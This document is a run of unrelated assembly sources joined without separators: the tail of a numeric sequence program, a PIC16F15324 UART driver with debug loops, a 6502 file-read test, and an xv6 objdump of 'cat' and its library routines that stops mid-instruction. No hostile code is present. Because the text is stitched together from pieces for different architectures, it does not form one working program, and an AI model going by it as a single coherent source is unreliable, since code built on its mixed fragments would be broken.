$3,$1 sub $4,1 add $5,$1 add $1,$4 mov $6,1 add $7,$3 add $6,$7 mul $6,$0 div $0,2 mul $0,2 add $1,2 sub $0,$1 add $1,2 add $1,$5 mul $7,$6 lpb $0,1 sub $0,1 mov $1,$7 lpe div $1,4 add $10,$1 lpe mov $1,$10
;******************************************************************************* ; * ; Filename: uart_driver.asm * ; Date: April 4, 2018 * ; File Version: 0.1 * ; Author: David Bartholomew * ; Company: Walnut Glen * ; Description: usart driver * ; there are two UARTs (USART) in the MCU ; ; ; the user code will place a packet into the Q ; then it will increment the packet counter ; then the send routine will decrement the counter when done sending the packet. ; this is made possible by the atomic incf and decf operations on the single byte counter ; ; * ;******************************************************************************* errorlevel -302; disable bankswitch warning #include "p16f15324.inc" #include "../../src/common/forth.inc" extern forth_temp1, forth_temp2, forth_temp3, forth_temp4 #include "../../src/common/q_macros.inc" ; ******************* constant LED = 5 extern delay_10ms global InitUART1 global InitUART2 global IRQ_UART1_rx ; ram - this section filled up so it is tight. section_uart_net_tx udata h'1a0' ; network data link layer Queues NET_TX_Q_START res d'20' NET_TX_A_END res 1 netTxIn_p res 1 netTxOut_p res 1 netTxPktCntr res 1 ; count of packets in Q section_uart_net_rx udata h'1d0' NET_RX_Q_START res d'20' NET_RX_Q_END res 1 netRxIn_p res 1 netRxOut_p res 1 netRxPktCntr res 1 CODE ; * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * InitUART1: ; network data com port ; * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ; RC0 is TX2 ; RC1 is RX2 banksel TRISC bcf TRISC,4 ; RC4 is TX1 so make it output bsf TRISC,5 ; RC5 is RX1 of make it input banksel PMD0 bcf PMD0, SYSCMD ; enable Fosc to Peripherals banksel PMD4 ; enable the UART1 bcf PMD4, UART1MD banksel TX1STA ; TXxSTA: CSRC = 1 TX9 = 0 TXEN = 1 SYNC = 0 SENDB = 0 BRGH = 1 TRMT = 0 TX9D = 0 movlw b'10100100' movwf TX1STA banksel RC1STA ; RCxSTA: SPEN = 1 RX9 = 0 SREN = 0 CREN = 1 ADDEN = 0 2 FRERR = 0 OERR = 0 RX9D = 0 movlw b'10010000' movwf RC1STA ; //BAUDxCON: Baud Rate Control Register ; // 7 ABDOVF = 0 // auto baud over flow status ; // 6 RCIDL = 0 // Receiver is idle ; // 5 Unimp = 0 ; // 4 SCKP = 0 // Transmit polarity 0 = idles high ; // 3 BRG16 = 1 // use 16 bits ; // 2 Unimp = 0 ; // 1 WUE = 0 ; // 0 ABDEN = 0 // auto baud detect ; BAUD1CON = 0b00001000; banksel BAUD1CON movlw b'00001000' movwf BAUD1CON ; SP1BRGH = 0x00; banksel SP1BRGH movlw 0x00 movwf SP1BRGH ; SP1BRGL = 0x69; movlw 0x69 movwf SP1BRGL ; @@@@@@@@@@@@@@@@@@@@@@@ ; ook modulator setup banksel PMD5 ; turn on CLC1 first so it can be configured! bcf PMD5, CLC1MD ; low = enable banksel CLC1POL movlf b'00001100', CLC1POL ; invert the unused inputs for the 'and4' to have 1's on unused inputs banksel CLC1SEL0 movlf d'31', CLC1SEL0 ; UART 1 TX = 31 movlf d'4', CLC1SEL1 ; fosc movlf d'31', CLC1SEL2 ; last two inputs are don't care movwf CLC1SEL3 ; choose the true or false of the input choices. These are all 'ored' together so only one is necessary movlf h'01', CLC1GLS0 ; select the invert of uart movlf h'08', CLC1GLS1 ; select the true of fosc clrf CLC1GLS2 clrf CLC1GLS3 movlf h'82', CLC1CON banksel RC4PPS movlf h'01', RC4PPS ; select CLC1OUT; ; ; //RC1REG is where the receive data is read ; //TX1REG is where the tx data is written ; fixme todo and all that ; this debug code tromps on many I/O that this routine should not touch! banksel ANSELC clrw movwf ANSELC banksel TRISC movlw b'00100010' movwf TRISC ; Note that the TX1IF will be set anytime the transmitter can accept a new character ; Note that it will be set now... ; Also the TX1STA, b1 will be set after this so we have to transmit a garbage byte to init the uart IU_big_loop banksel TX1REG movlw 'U' movwf TX1REG InitUART1_loop_1 nop banksel PIR3 btfss PIR3,TX1IF ; transmitting? bra InitUART1_loop_1 movlw h'10' lcall delay_10ms bra IU_big_loop ; ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ return ; * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * InitUART2: ; console / bridge to general purpose computer ; * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ; RC0 is TX2 ; RC1 is RX2 banksel TRISC bcf TRISC,0 ; RC0 is TX so make it output bsf TRISC,1 ; RC1 is RX of make it input banksel PMD0 bcf PMD0, SYSCMD ; enable Fosc to Peripherals banksel PMD4 ; enable the UART2 bcf PMD4,7 banksel TX2STA ; movlw 0xA4 movwf TX2STA banksel RC2STA movlw 0x90; // SPEN - Serial Port Enable movwf RC2STA banksel BAUD2CON movlw b'00001000' movwf BAUD2CON banksel SP2BRGH movlw 0x00 movwf SP2BRGH movlw 0x69 movwf SP2BRGL ; ; //RC2REG is where the receive data is read ; //TX2REG is where the tx data is written ; just try what the C has to see If I can get it to work! banksel RC0PPS movlw h'11' movwf RC0PPS ; RC0 is TX2 banksel ANSELA clrw movwf ANSELA banksel TRISA clrw movwf TRISA banksel ANSELC clrw movwf ANSELC banksel TRISC movlw b'00100010' movwf TRISC banksel RA5PPS clrw movwf RA5PPS banksel RA4PPS clrw movwf RA4PPS ; Note that the TX2IF will be set anytime the transmitter can accept a new character ; Note that it will be set now... ; Also the TX2STA, b1 will be set after this so we have to transmit a garbage bit to init the uart banksel TX2REG movlw 'A' movwf TX2REG InitUART2_loop_1 nop banksel PIR3 btfss PIR3,TX2IF ; transmitting? bra InitUART2_loop_1 return ; ****************************************************************** IRQ_UART1_rx ; !!! for now blink the light for each char received banksel PORTA bsf PORTA,LED movlw d'100' lcall delay_10ms ; bcf ; ; check the state machine flags, then jump based upon the state ; states: idle, read_header, read_payload, etc... ; perhaps the low nibble is state and the upper nibble shows which buffer is being filled ; then we won't need the other flags ; !!! just for now we will put the packet into a buffer until we see a <cr> ; see if a buffer is available ; PC is saved on the return stack and the following registers are automatically saved in the shadow registers: ; ? W register ; ? STATUS register (except for TO and PD) ; ? BSR register ; ? FSR registers ; ? PCLATH register ; Upon exiting the Interrupt Service Routine, these ; registers are automatically restored. ; see what state we are in ; banksel netRxFifo ; banksel RC2REG ; movf RC2REG, w ; banksel netRxFifo ; movwf netRxFifo ;todo use a pointer and update it return IRQ_UART1_tx return END
icl '../os/symbols.asm' ; this test is a direct read from storage, without BIOS support org BOOTADDR lda #1 ldx #OS_SET_VIDEO_MODE jsr OS_CALL sta ST_WRITE_RESET mwa DISPLAY_START VRAM_TO_RAM jsr lib_vram_to_ram ; Call command to open file mwa #filename SRC_ADDR jsr file_open_read read_next_block: mwa #buffer DST_ADDR mwa #$100 SIZE jsr file_read_block bne eof ldy #0 copy_block lda buffer, y cmp #32 bcc skip jsr screen_putc skip: iny cpy SIZE bne copy_block jmp read_next_block eof: jsr file_close jmp end end_with_error: ldx #0 @: lda message_not_found, x beq print_filename jsr screen_putc inx bne @- print_filename: ldx #0 @: lda filename, x beq end jsr screen_putc inx bne @- end: jmp end .proc screen_putc sty R0 ldy #0 sta (RAM_TO_VRAM), y inw RAM_TO_VRAM ldy R0 rts .endp buffer: .rept 256 .byte 0 .endr filename: .by "../asm/6502/test/storage_block.asm", 0 message_not_found: .by "Cannot open file: ", 0 icl '../os/stdlib.asm'
_cat: file format elf32-i386 Disassembly of section .text: 00000000 <cat>: char buf[512]; void cat(int fd) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 83 ec 28 sub $0x28,%esp int n; while((n = read(fd, buf, sizeof(buf))) > 0) 6: eb 1b jmp 23 <cat+0x23> write(1, buf, n); 8: 8b 45 f4 mov -0xc(%ebp),%eax b: 89 44 24 08 mov %eax,0x8(%esp) f: c7 44 24 04 20 10 00 movl $0x1020,0x4(%esp) 16: 00 17: c7 04 24 01 00 00 00 movl $0x1,(%esp) 1e: e8 85 03 00 00 call 3a8 <write> void cat(int fd) { int n; while((n = read(fd, buf, sizeof(buf))) > 0) 23: c7 44 24 08 00 02 00 movl $0x200,0x8(%esp) 2a: 00 2b: c7 44 24 04 20 10 00 movl $0x1020,0x4(%esp) 32: 00 33: 8b 45 08 mov 0x8(%ebp),%eax 36: 89 04 24 mov %eax,(%esp) 39: e8 62 03 00 00 call 3a0 <read> 3e: 89 45 f4 mov %eax,-0xc(%ebp) 41: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 45: 7f c1 jg 8 <cat+0x8> write(1, buf, n); if(n < 0){ 47: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 4b: 79 19 jns 66 <cat+0x66> printf(1, "cat: read error\n"); 4d: c7 44 24 04 a4 0b 00 movl $0xba4,0x4(%esp) 54: 00 55: c7 04 24 01 00 00 00 movl $0x1,(%esp) 5c: e8 cf 04 00 00 call 530 <printf> exit(); 61: e8 22 03 00 00 call 388 <exit> } } 66: c9 leave 67: c3 ret 00000068 <main>: int main(int argc, char *argv[]) { 68: 55 push %ebp 69: 89 e5 mov %esp,%ebp 6b: 83 e4 f0 and $0xfffffff0,%esp 6e: 83 ec 20 sub $0x20,%esp int fd, i; if(argc <= 1){ 71: 83 7d 08 01 cmpl $0x1,0x8(%ebp) 75: 7f 11 jg 88 <main+0x20> cat(0); 77: c7 04 24 00 00 00 00 movl $0x0,(%esp) 7e: e8 7d ff ff ff call 0 <cat> exit(); 83: e8 00 03 00 00 call 388 <exit> } for(i = 1; i < argc; i++){ 88: c7 44 24 1c 01 00 00 movl $0x1,0x1c(%esp) 8f: 00 90: eb 79 jmp 10b <main+0xa3> if((fd = open(argv[i], 0)) < 0){ 92: 8b 44 24 1c mov 0x1c(%esp),%eax 96: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx 9d: 8b 45 0c mov 0xc(%ebp),%eax a0: 01 d0 add %edx,%eax a2: 8b 00 mov (%eax),%eax a4: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) ab: 00 ac: 89 04 24 mov %eax,(%esp) af: e8 14 03 00 00 call 3c8 <open> b4: 89 44 24 18 mov %eax,0x18(%esp) b8: 83 7c 24 18 00 cmpl $0x0,0x18(%esp) bd: 79 2f jns ee <main+0x86> printf(1, "cat: cannot open %s\n", argv[i]); bf: 8b 44 24 1c mov 0x1c(%esp),%eax c3: 8d 14 85 00 00 00 00 lea 0x0(,%eax,4),%edx ca: 8b 45 0c mov 0xc(%ebp),%eax cd: 01 d0 add %edx,%eax cf: 8b 00 mov (%eax),%eax d1: 89 44 24 08 mov %eax,0x8(%esp) d5: c7 44 24 04 b5 0b 00 movl $0xbb5,0x4(%esp) dc: 00 dd: c7 04 24 01 00 00 00 movl $0x1,(%esp) e4: e8 47 04 00 00 call 530 <printf> exit(); e9: e8 9a 02 00 00 call 388 <exit> } cat(fd); ee: 8b 44 24 18 mov 0x18(%esp),%eax f2: 89 04 24 mov %eax,(%esp) f5: e8 06 ff ff ff call 0 <cat> close(fd); fa: 8b 44 24 18 mov 0x18(%esp),%eax fe: 89 04 24 mov %eax,(%esp) 101: e8 aa 02 00 00 call 3b0 <close> if(argc <= 1){ cat(0); exit(); } for(i = 1; i < argc; i++){ 106: 83 44 24 1c 01 addl $0x1,0x1c(%esp) 10b: 8b 44 24 1c mov 0x1c(%esp),%eax 10f: 3b 45 08 cmp 0x8(%ebp),%eax 112: 0f 8c 7a ff ff ff jl 92 <main+0x2a> exit(); } cat(fd); close(fd); } exit(); 118: e8 6b 02 00 00 call 388 <exit> 11d: 66 90 xchg %ax,%ax 11f: 90 nop 00000120 <stosb>: "cc"); } static inline void stosb(void *addr, int data, int cnt) { 120: 55 push %ebp 121: 89 e5 mov %esp,%ebp 123: 57 push %edi 124: 53 push %ebx asm volatile("cld; rep stosb" : 125: 8b 4d 08 mov 0x8(%ebp),%ecx 128: 8b 55 10 mov 0x10(%ebp),%edx 12b: 8b 45 0c mov 0xc(%ebp),%eax 12e: 89 cb mov %ecx,%ebx 130: 89 df mov %ebx,%edi 132: 89 d1 mov %edx,%ecx 134: fc cld 135: f3 aa rep stos %al,%es:(%edi) 137: 89 ca mov %ecx,%edx 139: 89 fb mov %edi,%ebx 13b: 89 5d 08 mov %ebx,0x8(%ebp) 13e: 89 55 10 mov %edx,0x10(%ebp) "=D" (addr), "=c" (cnt) : "0" (addr), "1" (cnt), "a" (data) : "memory", "cc"); } 141: 5b pop %ebx 142: 5f pop %edi 143: 5d pop %ebp 144: c3 ret 00000145 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, char *t) { 145: 55 push %ebp 146: 89 e5 mov %esp,%ebp 148: 83 ec 10 sub $0x10,%esp char *os; os = s; 14b: 8b 45 08 mov 0x8(%ebp),%eax 14e: 89 45 fc mov %eax,-0x4(%ebp) while((*s++ = *t++) != 0) 151: 90 nop 152: 8b 45 08 mov 0x8(%ebp),%eax 155: 8d 50 01 lea 0x1(%eax),%edx 158: 89 55 08 mov %edx,0x8(%ebp) 15b: 8b 55 0c mov 0xc(%ebp),%edx 15e: 8d 4a 01 lea 0x1(%edx),%ecx 161: 89 4d 0c mov %ecx,0xc(%ebp) 164: 0f b6 12 movzbl (%edx),%edx 167: 88 10 mov %dl,(%eax) 169: 0f b6 00 movzbl (%eax),%eax 16c: 84 c0 test %al,%al 16e: 75 e2 jne 152 <strcpy+0xd> ; return os; 170: 8b 45 fc mov -0x4(%ebp),%eax } 173: c9 leave 174: c3 ret 00000175 <strcmp>: int strcmp(const char *p, const char *q) { 175: 55 push %ebp 176: 89 e5 mov %esp,%ebp while(*p && *p == *q) 178: eb 08 jmp 182 <strcmp+0xd> p++, q++; 17a: 83 45 08 01 addl $0x1,0x8(%ebp) 17e: 83 45 0c 01 addl $0x1,0xc(%ebp) } int strcmp(const char *p, const char *q) { while(*p && *p == *q) 182: 8b 45 08 mov 0x8(%ebp),%eax 185: 0f b6 00 movzbl (%eax),%eax 188: 84 c0 test %al,%al 18a: 74 10 je 19c <strcmp+0x27> 18c: 8b 45 08 mov 0x8(%ebp),%eax 18f: 0f b6 10 movzbl (%eax),%edx 192: 8b 45 0c mov 0xc(%ebp),%eax 195: 0f b6 00 movzbl (%eax),%eax 198: 38 c2 cmp %al,%dl 19a: 74 de je 17a <strcmp+0x5> p++, q++; return (uchar)*p - (uchar)*q; 19c: 8b 45 08 mov 0x8(%ebp),%eax 19f: 0f b6 00 movzbl (%eax),%eax 1a2: 0f b6 d0 movzbl %al,%edx 1a5: 8b 45 0c mov 0xc(%ebp),%eax 1a8: 0f b6 00 movzbl (%eax),%eax 1ab: 0f b6 c0 movzbl %al,%eax 1ae: 29 c2 sub %eax,%edx 1b0: 89 d0 mov %edx,%eax } 1b2: 5d pop %ebp 1b3: c3 ret 000001b4 <strlen>: uint strlen(char *s) { 1b4: 55 push %ebp 1b5: 89 e5 mov %esp,%ebp 1b7: 83 ec 10 sub $0x10,%esp int n; for(n = 0; s[n]; n++) 1ba: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) 1c1: eb 04 jmp 1c7 <strlen+0x13> 1c3: 83 45 fc 01 addl $0x1,-0x4(%ebp) 1c7: 8b 55 fc mov -0x4(%ebp),%edx 1ca: 8b 45 08 mov 0x8(%ebp),%eax 1cd: 01 d0 add %edx,%eax 1cf: 0f b6 00 movzbl (%eax),%eax 1d2: 84 c0 test %al,%al 1d4: 75 ed jne 1c3 <strlen+0xf> ; return n; 1d6: 8b 45 fc mov -0x4(%ebp),%eax } 1d9: c9 leave 1da: c3 ret 000001db <memset>: void* memset(void *dst, int c, uint n) { 1db: 55 push %ebp 1dc: 89 e5 mov %esp,%ebp 1de: 83 ec 0c sub $0xc,%esp stosb(dst, c, n); 1e1: 8b 45 10 mov 0x10(%ebp),%eax 1e4: 89 44 24 08 mov %eax,0x8(%esp) 1e8: 8b 45 0c mov 0xc(%ebp),%eax 1eb: 89 44 24 04 mov %eax,0x4(%esp) 1ef: 8b 45 08 mov 0x8(%ebp),%eax 1f2: 89 04 24 mov %eax,(%esp) 1f5: e8 26 ff ff ff call 120 <stosb> return dst; 1fa: 8b 45 08 mov 0x8(%ebp),%eax } 1fd: c9 leave 1fe: c3 ret 000001ff <strchr>: char* strchr(const char *s, char c) { 1ff: 55 push %ebp 200: 89 e5 mov %esp,%ebp 202: 83 ec 04 sub $0x4,%esp 205: 8b 45 0c mov 0xc(%ebp),%eax 208: 88 45 fc mov %al,-0x4(%ebp) for(; *s; s++) 20b: eb 14 jmp 221 <strchr+0x22> if(*s == c) 20d: 8b 45 08 mov 0x8(%ebp),%eax 210: 0f b6 00 movzbl (%eax),%eax 213: 3a 45 fc cmp -0x4(%ebp),%al 216: 75 05 jne 21d <strchr+0x1e> return (char*)s; 218: 8b 45 08 mov 0x8(%ebp),%eax 21b: eb 13 jmp 230 <strchr+0x31> } char* strchr(const char *s, char c) { for(; *s; s++) 21d: 83 45 08 01 addl $0x1,0x8(%ebp) 221: 8b 45 08 mov 0x8(%ebp),%eax 224: 0f b6 00 movzbl (%eax),%eax 227: 84 c0 test %al,%al 229: 75 e2 jne 20d <strchr+0xe> if(*s == c) return (char*)s; return 0; 22b: b8 00 00 00 00 mov $0x0,%eax } 230: c9 leave 231: c3 ret 00000232 <gets>: char* gets(char *buf, int max) { 232: 55 push %ebp 233: 89 e5 mov %esp,%ebp 235: 83 ec 28 sub $0x28,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 238: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 23f: eb 4c jmp 28d <gets+0x5b> cc = read(0, &c, 1); 241: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 248: 00 249: 8d 45 ef lea -0x11(%ebp),%eax 24c: 89 44 24 04 mov %eax,0x4(%esp) 250: c7 04 24 00 00 00 00 movl $0x0,(%esp) 257: e8 44 01 00 00 call 3a0 <read> 25c: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) 25f: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 263: 7f 02 jg 267 <gets+0x35> break; 265: eb 31 jmp 298 <gets+0x66> buf[i++] = c; 267: 8b 45 f4 mov -0xc(%ebp),%eax 26a: 8d 50 01 lea 0x1(%eax),%edx 26d: 89 55 f4 mov %edx,-0xc(%ebp) 270: 89 c2 mov %eax,%edx 272: 8b 45 08 mov 0x8(%ebp),%eax 275: 01 c2 add %eax,%edx 277: 0f b6 45 ef movzbl -0x11(%ebp),%eax 27b: 88 02 mov %al,(%edx) if(c == '\n' || c == '\r') 27d: 0f b6 45 ef movzbl -0x11(%ebp),%eax 281: 3c 0a cmp $0xa,%al 283: 74 13 je 298 <gets+0x66> 285: 0f b6 45 ef movzbl -0x11(%ebp),%eax 289: 3c 0d cmp $0xd,%al 28b: 74 0b je 298 <gets+0x66> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 28d: 8b 45 f4 mov -0xc(%ebp),%eax 290: 83 c0 01 add $0x1,%eax 293: 3b 45 0c cmp 0xc(%ebp),%eax 296: 7c a9 jl 241 <gets+0xf> break; buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 298: 8b 55 f4 mov -0xc(%ebp),%edx 29b: 8b 45 08 mov 0x8(%ebp),%eax 29e: 01 d0 add %edx,%eax 2a0: c6 00 00 movb $0x0,(%eax) return buf; 2a3: 8b 45 08 mov 0x8(%ebp),%eax } 2a6: c9 leave 2a7: c3 ret 000002a8 <stat>: int stat(char *n, struct stat *st) { 2a8: 55 push %ebp 2a9: 89 e5 mov %esp,%ebp 2ab: 83 ec 28 sub $0x28,%esp int fd; int r; fd = open(n, O_RDONLY); 2ae: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 2b5: 00 2b6: 8b 45 08 mov 0x8(%ebp),%eax 2b9: 89 04 24 mov %eax,(%esp) 2bc: e8 07 01 00 00 call 3c8 <open> 2c1: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) 2c4: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 2c8: 79 07 jns 2d1 <stat+0x29> return -1; 2ca: b8 ff ff ff ff mov $0xffffffff,%eax 2cf: eb 23 jmp 2f4 <stat+0x4c> r = fstat(fd, st); 2d1: 8b 45 0c mov 0xc(%ebp),%eax 2d4: 89 44 24 04 mov %eax,0x4(%esp) 2d8: 8b 45 f4 mov -0xc(%ebp),%eax 2db: 89 04 24 mov %eax,(%esp) 2de: e8 fd 00 00 00 call 3e0 <fstat> 2e3: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 2e6: 8b 45 f4 mov -0xc(%ebp),%eax 2e9: 89 04 24 mov %eax,(%esp) 2ec: e8 bf 00 00 00 call 3b0 <close> return r; 2f1: 8b 45 f0 mov -0x10(%ebp),%eax } 2f4: c9 leave 2f5: c3 ret 000002f6 <atoi>: int atoi(const char *s) { 2f6: 55 push %ebp 2f7: 89 e5 mov %esp,%ebp 2f9: 83 ec 10 sub $0x10,%esp int n; n = 0; 2fc: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 303: eb 25 jmp 32a <atoi+0x34> n = n*10 + *s++ - '0'; 305: 8b 55 fc mov -0x4(%ebp),%edx 308: 89 d0 mov %edx,%eax 30a: c1 e0 02 shl $0x2,%eax 30d: 01 d0 add %edx,%eax 30f: 01 c0 add %eax,%eax 311: 89 c1 mov %eax,%ecx 313: 8b 45 08 mov 0x8(%ebp),%eax 316: 8d 50 01 lea 0x1(%eax),%edx 319: 89 55 08 mov %edx,0x8(%ebp) 31c: 0f b6 00 movzbl (%eax),%eax 31f: 0f be c0 movsbl %al,%eax 322: 01 c8 add %ecx,%eax 324: 83 e8 30 sub $0x30,%eax 327: 89 45 fc mov %eax,-0x4(%ebp) atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 32a: 8b 45 08 mov 0x8(%ebp),%eax 32d: 0f b6 00 movzbl (%eax),%eax 330: 3c 2f cmp $0x2f,%al 332: 7e 0a jle 33e <atoi+0x48> 334: 8b 45 08 mov 0x8(%ebp),%eax 337: 0f b6 00 movzbl (%eax),%eax 33a: 3c 39 cmp $0x39,%al 33c: 7e c7 jle 305 <atoi+0xf> n = n*10 + *s++ - '0'; return n; 33e: 8b 45 fc mov -0x4(%ebp),%eax } 341: c9 leave 342: c3 ret 00000343 <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 343: 55 push %ebp 344: 89 e5 mov %esp,%ebp 346: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 349: 8b 45 08 mov 0x8(%ebp),%eax 34c: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 34f: 8b 45 0c mov 0xc(%ebp),%eax 352: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) 355: eb 17 jmp 36e <memmove+0x2b> *dst++ = *src++; 357: 8b 45 fc mov -0x4(%ebp),%eax 35a: 8d 50 01 lea 0x1(%eax),%edx 35d: 89 55 fc mov %edx,-0x4(%ebp) 360: 8b 55 f8 mov -0x8(%ebp),%edx 363: 8d 4a 01 lea 0x1(%edx),%ecx 366: 89 4d f8 mov %ecx,-0x8(%ebp) 369: 0f b6 12 movzbl (%edx),%edx 36c: 88 10 mov %dl,(%eax) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 36e: 8b 45 10 mov 0x10(%ebp),%eax 371: 8d 50 ff lea -0x1(%eax),%edx 374: 89 55 10 mov %edx,0x10(%ebp) 377: 85 c0 test %eax,%eax 379: 7f dc jg 357 <memmove+0x14> *dst++ = *src++; return vdst; 37b: 8b 45 08 mov 0x8(%ebp),%eax } 37e: c9 leave 37f: c3 ret 00000380 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 380: b8 01 00 00 00 mov $0x1,%eax 385: cd 40 int $0x40 387: c3 ret 00000388 <exit>: SYSCALL(exit) 388: b8 02 00 00 00 mov $0x2,%eax 38d: cd 40 int $0x40 38f: c3 ret 00000390 <wait>: SYSCALL(wait) 390: b8 03 00 00 00 mov $0x3,%eax 395: cd 40 int $0x40 397: c3 ret 00000398 <pipe>: SYSCALL(pipe) 398: b8 04 00 00 00 mov $0x4,%eax 39d: cd 40 int $0x40 39f: c3 ret 000003a0 <read>: SYSCALL(read) 3a0: b8 05 00 00 00 mov $0x5,%eax 3a5: cd 40 int $0x40 3a7: c3 ret 000003a8 <write>: SYSCALL(write) 3a8: b8 10 00 00 00 mov $0x10,%eax 3ad: cd 40 int $0x40 3af: c3 ret 000003b0 <close>: SYSCALL(close) 3b0: b8 15 00 00 00 mov $0x15,%eax 3b5: cd 40 int $0x40 3b7: c3 ret 000003b8 <kill>: SYSCALL(kill) 3b8: b8 06 00 00 00 mov $0x6,%eax 3bd: cd 40 int $0x40 3bf: c3 ret 000003c0 <exec>: SYSCALL(exec) 3c0: b8 07 00 00 00 mov $0x7,%eax 3c5: cd 40 int $0x40 3c7: c3 ret 000003c8 <open>: SYSCALL(open) 3c8: b8 0f 00 00 00 mov $0xf,%eax 3cd: cd 40 int $0x40 3cf: c3 ret 000003d0 <mknod>: SYSCALL(mknod) 3d0: b8 11 00 00 00 mov $0x11,%eax 3d5: cd 40 int $0x40 3d7: c3 ret 000003d8 <unlink>: SYSCALL(unlink) 3d8: b8 12 00 00 00 mov $0x12,%eax 3dd: cd 40 int $0x40 3df: c3 ret 000003e0 <fstat>: SYSCALL(fstat) 3e0: b8 08 00 00 00 mov $0x8,%eax 3e5: cd 40 int $0x40 3e7: c3 ret 000003e8 <link>: SYSCALL(link) 3e8: b8 13 00 00 00 mov $0x13,%eax 3ed: cd 40 int $0x40 3ef: c3 ret 000003f0 <mkdir>: SYSCALL(mkdir) 3f0: b8 14 00 00 00 mov $0x14,%eax 3f5: cd 40 int $0x40 3f7: c3 ret 000003f8 <chdir>: SYSCALL(chdir) 3f8: b8 09 00 00 00 mov $0x9,%eax 3fd: cd 40 int $0x40 3ff: c3 ret 00000400 <dup>: SYSCALL(dup) 400: b8 0a 00 00 00 mov $0xa,%eax 405: cd 40 int $0x40 407: c3 ret 00000408 <getpid>: SYSCALL(getpid) 408: b8 0b 00 00 00 mov $0xb,%eax 40d: cd 40 int $0x40 40f: c3 ret 00000410 <sbrk>: SYSCALL(sbrk) 410: b8 0c 00 00 00 mov $0xc,%eax 415: cd 40 int $0x40 417: c3 ret 00000418 <sleep>: SYSCALL(sleep) 418: b8 0d 00 00 00 mov $0xd,%eax 41d: cd 40 int $0x40 41f: c3 ret 00000420 <uptime>: SYSCALL(uptime) 420: b8 0e 00 00 00 mov $0xe,%eax 425: cd 40 int $0x40 427: c3 ret 00000428 <date>: SYSCALL(date) 428: b8 16 00 00 00 mov $0x16,%eax 42d: cd 40 int $0x40 42f: c3 ret 00000430 <clone>: SYSCALL(clone) 430: b8 17 00 00 00 mov $0x17,%eax 435: cd 40 int $0x40 437: c3 ret 00000438 <join>: SYSCALL(join) 438: b8 18 00 00 00 mov $0x18,%eax 43d: cd 40 int $0x40 43f: c3 ret 00000440 <threadSleep>: SYSCALL(threadSleep) 440: b8 19 00 00 00 mov $0x19,%eax 445: cd 40 int $0x40 447: c3 ret 00000448 <threadWake>: SYSCALL(threadWake) 448: b8 1a 00 00 00 mov $0x1a,%eax 44d: cd 40 int $0x40 44f: c3 ret 00000450 <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 450: 55 push %ebp 451: 89 e5 mov %esp,%ebp 453: 83 ec 18 sub $0x18,%esp 456: 8b 45 0c mov 0xc(%ebp),%eax 459: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 45c: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp) 463: 00 464: 8d 45 f4 lea -0xc(%ebp),%eax 467: 89 44 24 04 mov %eax,0x4(%esp) 46b: 8b 45 08 mov 0x8(%ebp),%eax 46e: 89 04 24 mov %eax,(%esp) 471: e8 32 ff ff ff call 3a8 <write> } 476: c9 leave 477: c3 ret 00000478 <printint>: static void printint(int fd, int xx, int base, int sgn) { 478: 55 push %ebp 479: 89 e5 mov %esp,%ebp 47b: 56 push %esi 47c: 53 push %ebx 47d: 83 ec 30 sub $0x30,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 480: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 487: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 48b: 74 17 je 4a4 <printint+0x2c> 48d: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 491: 79 11 jns 4a4 <printint+0x2c> neg = 1; 493: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 49a: 8b 45 0c mov 0xc(%ebp),%eax 49d: f7 d8 neg %eax 49f: 89 45 ec mov %eax,-0x14(%ebp) 4a2: eb 06 jmp 4aa <printint+0x32> } else { x = xx; 4a4: 8b 45 0c mov 0xc(%ebp),%eax 4a7: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; 4aa: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; 4b1: 8b 4d f4 mov -0xc(%ebp),%ecx 4b4: 8d 41 01 lea 0x1(%ecx),%eax 4b7: 89 45 f4 mov %eax,-0xc(%ebp) 4ba: 8b 5d 10 mov 0x10(%ebp),%ebx 4bd: 8b 45 ec mov -0x14(%ebp),%eax 4c0: ba 00 00 00 00 mov $0x0,%edx 4c5: f7 f3 div %ebx 4c7: 89 d0 mov %edx,%eax 4c9: 0f b6 